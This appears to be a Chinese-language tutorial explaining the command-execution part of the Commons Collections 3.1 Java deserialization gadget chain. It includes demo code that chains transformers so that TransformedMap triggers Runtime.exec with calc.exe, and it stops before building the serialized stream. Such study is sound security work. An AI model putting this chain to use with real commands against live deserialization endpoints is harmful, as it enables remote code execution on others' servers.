由於CC鏈還是比較複雜的,我們可以先看命令執行的部分payload
之後再加上反序列化部分組成一個完整的payload
專案匯入依賴,這裡使用3.1版本
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
先來看看以下幾個類
Transformer是⼀個接⼝,它只有⼀個待實現的⽅法
public interface Transformer {
public Object transform(Object input);
}
TransformedMap在轉換Map的新元素時,就會調⽤transform⽅法,這個過程就類似在調⽤⼀個」回撥函數「,這個回撥的引數是原始物件
InvokerTransformer
是實現了Transformer
接⼝的⼀個類,這個類可以⽤來執⾏任意⽅法,這也是反序列化能執⾏任意程式碼的關鍵。 在範例化這個InvokerTransformer
時,需要傳⼊三個引數,第⼀個引數是待執⾏的⽅法名,第⼆個引數是這個函數的參數列的引數型別,第三個引數是傳給這個函數的參數列;
關鍵程式碼如下:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName; //函數名
this.iParamTypes = paramTypes; //函數引數的型別
this.iArgs = args; //引數物件
}
public Object transform(Object input) {
Class cls = input.getClass(); //獲取input的類
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //呼叫方法
return method.invoke(input, this.iArgs); //執行
}
很清楚的可以看到,方法名
,方法所需的引數型別
,方法的引數
,我們都可以控制,通過Java反射機制,我們可以構造一個命令執行:
public class Test {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
Transformer invoketransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"});
invoketransformer.transform(runtime);
}
}
這就需要一個條件,在呼叫transform
方法的時候,需要傳遞一個Runtime.getRuntime()
,這幾乎是不可能的,沒有人會在反序列化後呼叫transform方法還傳遞一個Runtime的範例進去。我們需要把攻擊所需要的條件儘可能的縮小,實現在反序列化時就能夠rce,所以需要想辦法把傳遞Runtime.getRuntime()
這一條件給去掉。接著就找到了ConstantTransformer
這個類
ConstantTransformer是實現了Transformer接⼝的⼀個類,它的過程就是在建構函式的時候傳⼊⼀個物件,並在transform⽅法將這個物件再返回:
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
所以他的作⽤其實就是包裝任意⼀個物件,在執⾏回撥時返回這個物件,進⽽⽅便後續操作,那麼和上面的InvokerTransformer
搭配一下
public class Test {
public static void main(String[] args) throws Exception {
Object constantTransformer= new ConstantTransformer(Runtime.getRuntime()).transform(123);
Transformer invoketransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"});
invoketransformer.transform(constantTransformer);
}
}
ChainedTransformer也是實現了Transformer接⼝的⼀個類,它的作⽤是將內部的多個Transformer串在⼀起。其transform方法實現了對每個傳入的transformer都呼叫其transform方法,並將結果作為下一次的輸入傳遞進去。
ChainedTransformer
的transform
函數如下
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
ChainedTransformer
類的建構函式
,其中iTransformers陣列是使用者自己定義的:
三個繼續搭配一下
public class Test {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
});
chain.transform(123);
}
}
此時只要ChainedTransformer
反序列化後呼叫transform
方法並傳遞任意內容即可實現rce
TransformedMap⽤於對Java標準資料結構Map做⼀個修飾,被修飾過的Map在新增新的元素時,將可以執⾏⼀個回撥。我們通過下⾯這⾏程式碼對innerMap
進⾏修飾,傳出的outerMap
即是修飾後的Map
:
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);
其中,keyTransformer是處理新元素的Key的回撥,valueTransformer是處理新元素的value的回撥。 我們這⾥所說的」回撥「,並不是傳統意義上的⼀個回撥函數,⽽是⼀個實現了Transformer接⼝的類。也就是可以呼叫其他的tramsform
,這一點很關鍵
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"C:/Windows/System32/calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
首先建立了⼀個ChainedTransformer
,其中包含兩個Transformer
:第⼀個是ConstantTransformer
, 直接返回當前環境的Runtime物件;第⼆個是InvokerTransformer
,執⾏Runtime物件的exec⽅法,參 數是C:/Windows/System32/calc.exe
。 當然,這個transformerChain
只是⼀系列回撥,我們需要⽤其來包裝innerMap
,使⽤的前⾯說到的 TransformedMap.decorate
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
最後,怎麼觸發回撥呢?就是向Map中放⼊⼀個新的元素:
outerMap.put("test", "xxxx");
到這兒,總算是有點思緒,當然,上⾯的程式碼執⾏demo,它只是⼀個⽤來在本地測試的類。在實際反序列化漏洞中,我們需要將上⾯最終⽣成的outerMap
物件變成⼀個序列化流